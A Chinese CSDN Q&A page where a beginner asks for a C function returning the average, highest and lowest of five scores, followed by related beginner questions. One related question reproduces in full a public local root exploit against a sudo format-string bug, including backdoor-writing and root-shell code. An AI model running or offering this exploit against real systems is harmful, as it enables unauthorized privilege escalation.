C语言大佬求助;输入5个学生成绩,写一个函数,当主函数调用此函数后,能求出平均分、最高分和最低分

输入5个学生成绩,写一个函数,当主函数调用此函数后,能求出平均分、最高分和最低分

2个回答

全部代码

#include <stdio.h>
void f(int *m)
{
    int i;
    int min = m[0];//最小值 
    int max = m[0];//最大值
    double average = 0;//平均值
    double sum = m[0];//成绩总和 
    for(i=1;i<5;i++)
    {
        sum = sum + m[i];
        if(min > m[i])
        {
            min = m[i];//计算最小值 
        }
        if(max < m[i])
        {
            max = m[i];//计算最大值 
        }
    }
    average = sum / 5;//计算平均值 
    printf("%f %d %d", average, max, min);//输出结果 
 } 

int main()
{
    int m[5];
    int i;
    for(i=0;i<5;i++)
    {
        scanf("%d",&m[i]);
    }
    f(m);
}

运行结果

图片说明

楼上的答案没毛病,主函数里定义一个数组,用for循环把5个数逐个输入,把数组名m(函数首地址)传递给子函数,调用就可以了。

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
基础的C语言前来求助大佬们
这个写了一半写不出来,void函数调用不了,下面是这个问题 (1)在程序中定义一个全局变量N用于存放学生人数,再定义一个一维的全局数组CJ[100],用于存放学生成绩。 (2)编写一个成绩录入函数lr(),lr()是没有返回值的无参函数。函数中首先输入学生人数放入全局变量N中,再录入N个学生的成绩(下标对应学生的学号1~N),放到全局数组CJ[100]中。(录入时要提示输入几号学生的成绩,成绩录完时要提示“成绩已经录完!”) (3)编写一个打印成绩函数dy(),dy()是没有返回值的无参函数,功能是根据N的值输出全局数组CJ[100]中的N个学生的学号和成绩。 (4)在主函数中调用函数lr(),录入5个学生的成绩,然后调用函数dy(),输出这5个学生的学号和成绩。
求助改写一个c语言程序
我的编译环境是vs2013,我有一个五子棋代码,想要改一下棋盘和落子方式。但每次改动都会报错,求大佬帮我改成要求的形式,要求棋盘如下 ![图片说明](https://img-ask.csdn.net/upload/201912/21/1576915117_449851.png)棋盘的输入只能以键盘输入,建议统一以字母为先,如G2.且棋子必须下在棋盘格的交点上,不可下在格子里。 ``` #include <stdio.h> #include <windows.h> #include <time.h> #include <conio.h> #include <stdlib.h> #define N 65 int status[N][N] = { { 0 }, { 0 } };//记录棋盘情况,0无,1红棋/玩家,2为白棋/电脑 int flag = 0;//判断输赢 int direct[2];//方向 int Value1[N][N] = { { 0 }, { 0 } };//计算权值 int Value2[N][N] = { { 0 }, { 0 } };//计算权值 int regrex, regrey, regrex1, regrey1; int count = 0;//计算棋子数量 void chess_board();//打印棋盘 void red_movexy();//红子棋移动光标 void white_movexy();//白棋移动光标 void red_chess(int x, int y);//红棋 void white_chess(int x, int y);//白棋 void man_man(); void man_machine();//人机对战 int judge_chess(int x, int y);//判断这个位置是否下过 int judge_winner(int x, int y, int temp);//判断输赢 void machine_attack();//电脑进攻权值 void machine_defend();//电脑防守权值 void find_position();//寻找最佳权值 void Regret();//悔棋函数 void BackGround(unsigned int ForeColor, unsigned int BackGroundColor) //颜色 { HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE); //获取控制台的句柄 SetConsoleTextAttribute(handle, ForeColor + BackGroundColor * 0x10);//改变当前光标的背景和字体颜色 } void gotoxy(int x, int y) //光标函数 { HANDLE handle; COORD coord; //获取坐标轴结构体 coord.X = x; coord.Y = y; handle = GetStdHandle(STD_OUTPUT_HANDLE); //获取控制台句柄,值为-11 SetConsoleCursorPosition(handle, coord); //移动光标到x,y处 } void chess_board()//打印棋盘 { int i, j; for (i = 0; i <= 30; i++) for (j = 0; j <= 60; j += 4) { gotoxy(j, i); printf("|"); } for (i = 0; i <= 30; i += 2) for (j = 1; j <= 57; j += 4) { gotoxy(j, i); printf("---"); } } void chess_menu()//打印棋盘旁的菜单 { int i, j; for (i = 1; i <= 29; i++) { gotoxy(67, i); printf("||"); } for (i = 1; i <= 29; i++) { gotoxy(89, i); printf("||"); } gotoxy(69, 1); printf("--------------------"); gotoxy(69, 29); printf("--------------------"); gotoxy(75, 3); printf("模 式"); gotoxy(75, 20); printf("提 示"); } void red_movexy()//红棋移动光标 { loop2: gotoxy(direct[0], direct[1]); char key = 'y'; int temp; while (key != ' ') { key = _getch(); switch (key) { case 'W': case 'w': direct[1] -= 2; if (direct[1] <= 1) direct[1] = 1; break; case 's': case 'S': direct[1] += 2; if (direct[1] >= 29) direct[1] = 29; break; case 'a': case 'A': direct[0] -= 4; if (direct[0] <= 2) direct[0] = 2; break; case 'd': case 'D': direct[0] += 4; if (direct[0] >= 58) direct[0] = 58; break; case 'q': case 'Q': { int message = MessageBox(NULL, "是否确定悔棋?", "友情提示", MB_OKCANCEL); if (IDCANCEL == message) break; if (IDOK == message) { Regret(); break; } } } gotoxy(direct[0], direct[1]); } temp = judge_chess(direct[1], direct[0]); if (temp == 1) { gotoxy(70, 22); BackGround(4, 0); printf("这里已经被人下过了"); goto loop2; } } void white_movexy()//白棋移动光标 { loop1:gotoxy(direct[0], direct[1]); char key = 'y'; int temp; while (key != '0') { key = _getch(); switch (key) { case 72: direct[1] -= 2; if (direct[1] <= 1) direct[1] = 1; break; case 80: direct[1] += 2; if (direct[1] >= 29) direct[1] = 29; break; case 75: direct[0] -= 4; if (direct[0] <= 2) direct[0] = 2; break; case 77: direct[0] += 4; if (direct[0] >= 58) direct[0] = 58; break; case 'B': case 'b': { int message = MessageBox(NULL, "是否确定悔棋?", "友情提示", MB_OKCANCEL); if (IDCANCEL == message) break; if (IDOK == message) { Regret(); break; } } } gotoxy(direct[0], direct[1]); } temp = judge_chess(direct[1], direct[0]); if (temp == 1) { gotoxy(70, 22); BackGround(4, 0); printf("这里已经被人下过了"); goto loop1; } } void red_chess(int x, int y)//打印红棋 { BackGround(4, 0); regrex = x;//记录上一落子的位置 ,方便悔棋 regrey = y; count++; printf("●"); status[x][y] = 1; } void white_chess(int x, int y)//打印白棋 { BackGround(7, 0); regrex1 = x; regrey1 = y; printf("●"); count++; status[x][y] = 2; } void machine_chess(int x, int y)//电脑落子 { BackGround(7, 0); status[x][y] = 2; regrex1 = x; regrey1 = y; count++; gotoxy(y, x); printf("●"); } int judge_chess(int x, int y)//判断这个地方是否有棋子 { if (status[x][y] == 0) return 0; else return 1; } int judge_winner(int x, int y, int temp)//判断输赢 { int i, j, n1, n2; n1 = n2 = 0; for (i = x, j = y + 4; j <= 58; j += 4)//右 { if (status[i][j] == temp) n1++; else break; } for (i = x, j = y; j >= 2; j -= 4)//左 { if (status[i][j] == temp) n2++; else break; } if (n1 + n2 >= 5) return temp; n1 = n2 = 0; for (i = x, j = y; i >= 1; i -= 2)//上 { if (status[i][j] == temp) n1++; else break; } for (i = x + 2, j = y; i <= 30; i += 2)//下 { if (status[i][j] == temp) n2++; else break; } if (n1 + n2 >= 5) return temp; n1 = n2 = 0; for (i = x - 2, j = y + 4; i >= 1 && j <= 58; i -= 2, j += 4)//右上 { if (status[i][j] == temp) n1++; else break; } for (i = x, j = y; i <= 30 && j >= 2; i += 2, j -= 4)//左下 { if (status[i][j] == temp) n2++; else break; } if (n1 + n2 >= 5) return temp; n1 = n2 = 0; for (i = x, j = y; i >= 0 && j >= 0; i -= 2, j -= 4)//左上 { if (status[i][j] == temp) n1++; else break; } for (i = x + 2, j = y + 4; i <= 30 && j <= 58; i += 2, j += 4)//右下 { if (status[i][j] == temp) n2++; else break; } if (n1 + n2 >= 5) return temp; return 0; } void machine_attack()//电脑进攻权值 { int i1, j1; int k1, k2, k; int i, j; for (i = 1; i <= 30; i += 2) { for (j = 2; j <= 58; j += 4) { if (status[i][j]) Value1[i][j] = 0; if (status[i][j] == 0) { k1 = k2 = 0; for (i1 = i, j1 = j - 4; j1 >= 2; j1 -= 4)//往左数寻找电脑棋子数 { if (status[i1][j1] == 2) k1++; else break; } for (i1 = i, j1 = j + 4; j1 <= 58; j1 += 4)//往右数寻找电脑棋子数 { if (status[i1][j1] == 2) k2++; else break; } k = k1>k2 ? k1 : k2; k1 = k2 = 0; for (i1 = i - 2, j1 = j; i1 >= 1; i1 -= 2)//往上数寻找电脑棋子数 { if (status[i1][j1] == 2) k1++; else break; } for (i1 = i + 2, j1 = j; i1 <= 30; i1 += 2)//往下数寻找电脑棋子数 { if (status[i1][j1] == 2) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; k1 = k2 = 0; for (i1 = i - 2, j1 = j - 4; i1 >= 0 && j1 >= 0; i1 -= 2, j1 -= 4)//往左上数寻找电脑棋子数 { if (status[i1][j1] == 2) k1++; else break; } for (i1 = i + 2, j1 = j + 4; i1 <= 30 && j1 <= 58; i1 += 2, j1 += 4)//往右下数寻找电脑棋子数 { if (status[i1][j1] == 2) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; k1 = k2 = 0; for (i1 = i + 2, j1 = j - 4; i1 <= 30 && j1 >= 2; i1 += 2, j1 -= 4)//往左下数寻找电脑棋子数 { if (status[i1][j1] == 2) k1++; else break; } for (i1 = i - 2, j1 = j + 4; i1 >= 1 && j1 <= 58; i1 -= 2, j1 += 4)//往右上数寻找电脑棋子数 { if (status[i1][j1] == 2) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; switch (k) { case 3: Value1[i][j] = 15; break; case 4: Value1[i][j] = 25; break; default: Value1[i][j] = 3 + 2 * k; break; } } } } } void machine_defend()//防守权值 { int i1, j1; int k1, k2, k; int i, j; for (i = 1; i <= 30; i += 2) { for (j = 2; j <= 58; j += 4) { if (status[i][j]) Value2[i][j] = 0; if (status[i][j] == 0) { k1 = k2 = 0; for (i1 = i, j1 = j - 4; j1 >= 2; j1 -= 4)//往左数寻找玩家棋子数 { if (status[i1][j1] == 1) k1++; else break; } for (i1 = i, j1 = j + 4; j1 <= 58; j1 += 4)//往右数寻找玩家棋子数 { if (status[i1][j1] == 1) k2++; else break; } k = k1>k2 ? k1 : k2; k1 = k2 = 0; for (i1 = i - 2, j1 = j; i1 >= 1; i1 -= 2)//往上数寻找玩家棋子数 { if (status[i1][j1] == 1) k1++; else break; } for (i1 = i + 2, j1 = j; i1 <= 30; i1 += 2)//往下数寻找玩家棋子数 { if (status[i1][j1] == 1) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; k1 = k2 = 0; for (i1 = i - 2, j1 = j - 4; i1 >= 1 && j1 >= 2; i1 -= 2, j1 -= 4)//往左上数寻找玩家棋子数 { if (status[i1][j1] == 1) k1++; else break; } for (i1 = i + 2, j1 = j + 4; i1 <= 30 && j1 <= 58; i1 += 2, j1 += 4)//往右下数寻找玩家棋子数 { if (status[i1][j1] == 1) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; k1 = k2 = 0; for (i1 = i + 2, j1 = j - 4; i1 <= 30 && j1 >= 2; i1 += 2, j1 -= 4)//往左下数寻找玩家棋子数 { if (status[i1][j1] == 1) k1++; else break; } for (i1 = i - 2, j1 = j + 4; i1 >= 1 && j1 <= 58; i1 -= 2, j1 += 4)//往右上数寻找玩家棋子数 { if (status[i1][j1] == 1) k2++; else break; } k1 = k1>k2 ? k1 : k2; k = k>k1 ? k : k1; switch (k) { case 3: Value2[i][j] = 10; break; case 4: Value2[i][j] = 20; break; default: Value2[i][j] = 2 + k * 2; } } } } } void find_position()//找到最有价值的位置 { int k1 = 0, k2 = 0; int i, j, max = 0; for (i = 1; i <= 30; i += 2) for (j = 2; j <= 58; j += 4) { if (max <= Value1[i][j]) { max = Value1[i][j]; k1 = i; k2 = j; } } for (i = 1; i <= 30; i += 2) for (j = 2; j <= 58; j += 4) { if (max <= Value2[i][j]) { max = Value2[i][j]; k1 = i; k2 = j; } } direct[1] = k1; //将找到的位置传给光标 direct[0] = k2; } void man_man()//人人对战模式 { loop5:system("cls"); char key; int control; gotoxy(2, 3); printf("1.红 子 先 手"); gotoxy(2, 5); printf("2.白 子 先 手"); gotoxy(2, 7); printf("(输入相应序号选择)"); key = _getch(); system("cls"); if (key == '1') control = 1; else if (key == '2') control = -1; else goto loop5; gotoxy(70, 5); printf(" 人 人 对 战 "); direct[1] = 15; direct[0] = 30; chess_board(); chess_menu(); while (flag == 0) { if (control == 1) { gotoxy(70, 22); BackGround(6, 0); printf(" 红 子 执 手 "); red_movexy(); red_chess(direct[1], direct[0]); flag = judge_winner(direct[1], direct[0], 1); } else { gotoxy(70, 22); BackGround(6, 0); printf(" 白 子 执 手 "); white_movexy(); white_chess(direct[1], direct[0]); flag = judge_winner(direct[1], direct[0], 2); } control = -control; } if (flag == 1) { BackGround(7, 0); MessageBox(NULL, "游戏结束,红子胜利", "五子棋游戏", MB_OK); } if (flag == 2) { MessageBox(NULL, "游戏结束,白子胜利", "五子棋游戏", MB_OK); } if (count >= 225) { MessageBox(NULL, "游戏结束,平局", "五子棋游戏", MB_OK); } } void man_machine()//人机对战模式 { loop6:system("cls"); char key; int control; gotoxy(2, 3); printf("1.玩 家 先 手(玩家为红子)"); gotoxy(2, 5); printf("2.电 脑 先 手(电脑为白子)"); gotoxy(2, 7); printf("(输入相应序号选择)"); key = _getch(); system("cls"); if (key == '1') control = 1; else if (key == '2') { control = 1; machine_chess(13, 26); } else goto loop6; gotoxy(70, 5); printf(" 人 机 对 战 "); direct[1] = 15; direct[0] = 30; chess_board(); chess_menu(); while (flag == 0) { if (control == 1) { gotoxy(70, 22); BackGround(6, 0); printf(" 玩 家 执 手 "); red_movexy(); red_chess(direct[1], direct[0]); flag = judge_winner(direct[1], direct[0], 1); } else { gotoxy(70, 22); BackGround(6, 0); printf(" 电 脑 执 手 "); machine_defend(); machine_attack(); find_position(); machine_chess(direct[1], direct[0]); flag = judge_winner(direct[1], direct[0], 2); } control = -control; } gotoxy(8, 18); if (flag == 1) { BackGround(7, 0); MessageBox(NULL, "太厉害了,您竟然战胜了电脑!", "五子棋游戏", MB_OK); } if (flag == 2) { MessageBox(NULL, "游戏结束,您输给了电脑", "五子棋游戏", MB_OK); } if (count >= 225) { MessageBox(NULL, "平局", "五子棋游戏", MB_OK); } } void Regret()//悔棋函数 { gotoxy(regrey, regrex); BackGround(0, 0); printf(" "); status[regrex][regrey] = 0; gotoxy(regrey1, regrex1); BackGround(0, 0); printf(" "); status[regrex1][regrey1] = 0; count -= 2; } void welcome()//游戏菜单 { int k; char choose; system("cls"); for (k = 2; k <= 16; k += 2)//游戏菜单 { gotoxy(5, k); printf("|-----------------|"); } gotoxy(5, 3); printf("| 五 子 棋 游 戏 |"); gotoxy(5, 5); printf("| 菜 单 |"); gotoxy(5, 7); printf("| 1.人 人 对 战 |"); gotoxy(5, 9); printf("| 2.人 机 对 战 |"); gotoxy(5, 11); printf("| 3.游 戏 帮 助 |"); gotoxy(5, 13); printf("| 4.作 者 信 息 |"); gotoxy(5, 15); printf("| 5.退 出 游 戏 |"); gotoxy(5, 18); printf("输入菜单对应序号进行操作"); gotoxy(5, 20); printf("祝您游戏愉快!"); gotoxy(30, 18); } char Gametips()//游戏帮助 { char choose; int key; system("cls"); gotoxy(2, 3); printf("游戏操作:"); gotoxy(4, 5); printf("① 红色棋子WASD移动光标选择下棋位置,按空格键确认,按Q悔棋"); gotoxy(4, 7); printf("② 白色棋子↑↓←→移动光标选择下棋位置,按0确认,按B悔棋"); gotoxy(2, 19); printf("(按E键返回,按其它任意键退出)"); return _getch(); } char Auther()//作者信息 { system("cls"); gotoxy(2, 3); printf("作者:张洪浩"); gotoxy(2, 5); printf("(按E键返回,按其它任意键退出)"); return _getch(); } int main(void) { system("title 五子棋"); system("mode con cols=92 lines=33"); char choose, temp; loop: welcome(); choose = _getch(); switch (choose){ case '1': man_man(); break; case '2': man_machine(); break; case '3': temp = Gametips(); if (temp == 'E' || temp == 'e') goto loop; break; case '4': temp = Auther(); if (temp == 'E' || temp == 'e') goto loop; break; //case '5': //int message=MessageBox(NULL,"是否退出?","友情提示",MB_OKCANCEL); //if(IDCANCEL==message) // goto loop; //if(IDOK==message) break; } } ```
【求助】单链表建立与输出错误?
调用初始化链表函数及如下代码中InitLinkList(L,6)后,输入时进仅仅输入了3个元素就直接跳出了输出函数。 请大佬帮忙答疑!!! ![图片说明](https://img-ask.csdn.net/upload/202002/03/1580701163_301047.png) ``` #include<stdio.h> #include<stdlib.h> typedef struct LNode{ char data; struct LNode *next; }LNode, *LinkList; void InitLinkList(LinkList &L,int n){ L=(LinkList)malloc(sizeof (LNode)); L->next=NULL; LinkList head,tail,p; head=L; tail=L->next; printf("请输入链表元素\n"); for(int i=1;i<=n;i++){ p=(LinkList)malloc(sizeof(LNode)); scanf("%c",&p->data); head->next=p->next; head->next=p; head=head->next; printf("%c",p->data); } } void PutLinkList(LinkList &L){ printf("————链表如下————\n"); LinkList p=L->next; while(p){ printf("%c!",p->data); p=p->next; } } void main(){ LinkList L; InitLinkList(L,6); PutLinkList(L); } ```
C语言新手求助各位大佬
求组合数(15 分) 本题要求编写程序,根据公式C ​n ​m ​​ = ​m!(n−m)! ​ ​n! ​​ 算出从n个不同元素中取出m个元素(m≤n)的组合数。 建议定义和调用函数fact(n)计算n!,其中n的类型是int,函数类型是double。 输入格式: 输入在一行中给出两个正整数m和n(m≤n),以空格分隔。 输出格式: 按照格式“result = 组合数计算结果”输出。题目保证结果在double类型范围内。 题目如上 我的代码是 #include "stdio.h" double fact(int n); main() { int m,n; double result; scanf("%d %d",&m,&n); if(m>n) printf("error!!"); else { result=fact(n)/(fact(m)*fact(n-m)); printf("result=%lf",result); } } double fact(int n) { int i,s=1; if(n>1) { for(i=1;i<=n;i++) { s*=i; } return double(s); } if(n=1) s=1; } 找不到问题出在哪里可就是得不到正确的结果 求助555555555QAQ
C语言写这个函数怎么写呢?求助大神
给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标。 你可以假设每种输入只会对应一个答案。但是,你不能重复利用这个数组中同样的元素。 示例: 给定 nums = [2, 7, 11, 15], target = 9 因为 nums[0] + nums[1] = 2 + 7 = 9 所以返回 [0, 1] /** * Note: The returned array must be malloced, assume caller calls free(). */ int* twoSum(int* nums, int numsSize, int target) { int i,j; for(i=0;i<numsSize;i++) { for(j=1;j<numsSize;j++) { if(nums[j]==target - nums[i]) printf("%d %d",i,j); } } return 0; } 我的这个不可以运行,求助大佬,万分感谢,题目来源leetcode
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
MATLAB初学者在plot指令上出的一些问题,烦请知道的人解答
本人MATLAB小白一枚,最近在学习使用plot指令进行函数图像的绘制。 最近我写了一个可以通过输入设定绘出函数图像的plot指令,如下 x=input('请输入x的范围(格式为‘起点;点间距;终点)'); y=input('输入函数关系'); A=input('输入颜色,以及标记点形状'); B=input('线宽'); C=input('标识点边缘色'); D=input('标识点主色调'); E=input('标识点大小'); plot(x,y,'A','LineWidth',B,... 'MarkerEdgeColor','C',... 'MarkerEdgeColor','D',... 'MarkerSize',E) grid on xlabel('x'); ylabel('y'); 结果,在运行的过程中,A和C一旦运行,就必然出现 出错 A5 (line 8) plot(x,y,'--rs','LineWidth',B,... 其他的数据通过上述语法可以使用,只有A和C不行,这让我非常奇怪。 我无法解决,所以我只能来求助各位大佬
求助大佬:MFC检测扩展显示器时回调函数错误怎么解决。
用MFC编了一个基于对话框的程序,准备使用电脑扩展屏,形成一个主屏和副屏分别显示1个对话框。参考咱们CSDN大佬的程序代码,操作如下: 第1步:在FileView中添加了”MULTIMON.H“头文件; 第2步:在ClassView中通过Add Member Function自己写了回调函数,用来检测主副显示器信息,如下所示 BOOL CALLBACK CTESTDLG::MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) /****** 对话框:CTESTDLG 回调函数名:MonitorEnumProc 输入参数:HMONITOR hMonitor—显示器句柄; HDC hdcMonitor—显示器DC句柄; LPRECT lprcMonitor, LPARAM dwData—EnumDisplayMonitor传来的数据 返回:bool ******/ 第3步:在初始化函数中添加EnumDisplayMonitor调用回调函数。 就是在BOOL CTESTDLG::OnInitDialog()中添加 EnumDisplayMonitor(NULL, NULL, MonitorEnumProc, 0); 运行后,显示错误如下: error C2664:'xEnumDisplayMonitor' : cannot convert parameter 3 from 'int(struct HMONITOR___*, struct HDC___*,struct tagRECT *, long)' to 'int(___stdcall *)(struct HMONITOR___*, struct HDC___*,struct tagRECT *, long)' 就是xEnumDisplayMonitor或EnumDisplayMonitor(此处也不明白为什么原代码没有x,报错时有了x)第3个参数,也就是MonitorEnumProc这个回调函数转换有问题,前后多了一个(___stdcall *)。 也就是cannot convert parameter 3 from 'int(……)' to 'int(___stdcall *)(……)' 两个括号里面的传递参数一样(不知道为什么上传CSDN时前后不一样,有几个星号和下划线不见了)。本人水平太低,不知如何调试,恳请大佬不吝赐教,感谢!
初学者,关于C语言struct里定义函数的问题
我在main函数外定义了这么一段 struct { int value; int cnt; int child[100]; cmpp(); void paixu() { sort(child,child+cnt,cmpp); } }node[101]; bool cmpp(int x,int y) { return node[x].value>node[y].value; } 就是这个: ![图片说明](https://img-ask.csdn.net/upload/201708/31/1504158531_314065.png) 编译过不了,提示大意就是不认识cmpp()这个比较函数。求助各位大大怎么改才可以呢。 **完美解决。非常感谢诸位大佬!!**
求学生分数中的最高分,并输出分数,学生和课程
``` #include<stdio.h> float score[2][5] int r,c void main() { float highest(float array[2][5]); int i,j; for(i=0;i<2;i++) for(j=0;j<5;j++) scanf("%f",&score[i][j]); printf("%f %d %d",highest(score),r,c); } float highest(float array[2][5]) { int i,j; float max; max=array[0][0]; for(i=0;i<2;i++) for(j=0;j<5;j++) if(array[i][j]>max) { max=array[i][j]; r=i+1; c=j+1; } return max; } ``` --------------------Configuration: 1 - Win32 Debug-------------------- Compiling... 1.c C:\Users\HP\Desktop\函数复杂\1.c(3) : error C2054: expected '(' to follow 'score' C:\Users\HP\Desktop\函数复杂\1.c(3) : error C2085: 'r' : not in formal parameter list C:\Users\HP\Desktop\函数复杂\1.c(4) : error C2085: 'c' : not in formal parameter list C:\Users\HP\Desktop\函数复杂\1.c(4) : error C2143: syntax error : missing ';' before 'type' C:\Users\HP\Desktop\函数复杂\1.c(5) : error C2085: 'main' : not in formal parameter list C:\Users\HP\Desktop\函数复杂\1.c(5) : error C2143: syntax error : missing ';' before '{' C:\Users\HP\Desktop\函数复杂\1.c(24) : error C2065: 'r' : undeclared identifier C:\Users\HP\Desktop\函数复杂\1.c(25) : error C2065: 'c' : undeclared identifier 执行 cl.exe 时出错. 1.obj - 1 error(s), 0 warning(s) 求助大佬这个程序该怎么改???要运用函数
八皇后代码debug求助。
今天尝试写了下八皇后的代码,但是运行的时候发现无法跳出递归。 疯狂输出第一组解法。查了半天无果。还请大佬们给代码看看病, 诊断诊断。下面贴出代码。 (对于代码中的棋盘数组vist[i][j]+1=1的解释是,某个格子可能被多个棋子影响,拿掉其中一个棋子后格子可能还在其他棋子的影响下不能放置,所以采用的是+-1的方式表示影响该格子的棋子数,如果vist[i][j]大于0则必然不能放置。) ``` #include<stdio.h> int ans[9] = { 0 }, vist[10][10] = {0};//vist数组模棋盘,ans表示每列能放下棋子的行坐标 void solve_queen(int x);//用来遍历可能结果的函数 void _vist(int m,int n); void _clear(int m1,int n1); int main(void) { printf("This program will solve the 8 queen problem\n.Button the Enter to Solve it\n"); getchar(); solve_queen(1); getchar(); getchar(); return 0; } void _vist(int m,int n) { int i1=1, j1=1; vist[m][n]+=1;//放下棋子的那一格数值+1表示遍历过 while (n + j1 <= 8)//与该棋子同行的不能再放 { vist[m][n + j1] += 1; j1+=1; } j1 = 1; while ((m + i1 <= 8) && (n + j1 <= 8))//与该棋子在斜向下45°方向的位置都不能放 { vist[m + i1][n + j1]+= 1; i1+=1, j1+=1; } i1 = j1 = 1; while ((n + j1 <= 8) && (m - i1 >= 1))//与该棋子在斜向上45°方向的位置都不能放 { vist[m - i1][n + j1] += 1; i1+=1, j1+=1; } } void _clear(int m1,int n1)//用于回溯时,清除拿回的那颗棋子对棋盘放置区域的影响。 { int i2 = 1, j2 = 1; vist[m1][n1] = 0; while (n1 + j2 <= 8) { vist[m1][n1 + j2] -= 1; j2+=1; } j2 = 1; while ((m1 + i2 <= 8) && (n1 + j2 <= 8)) { vist[m1 + i2][n1 + j2] -= 1; 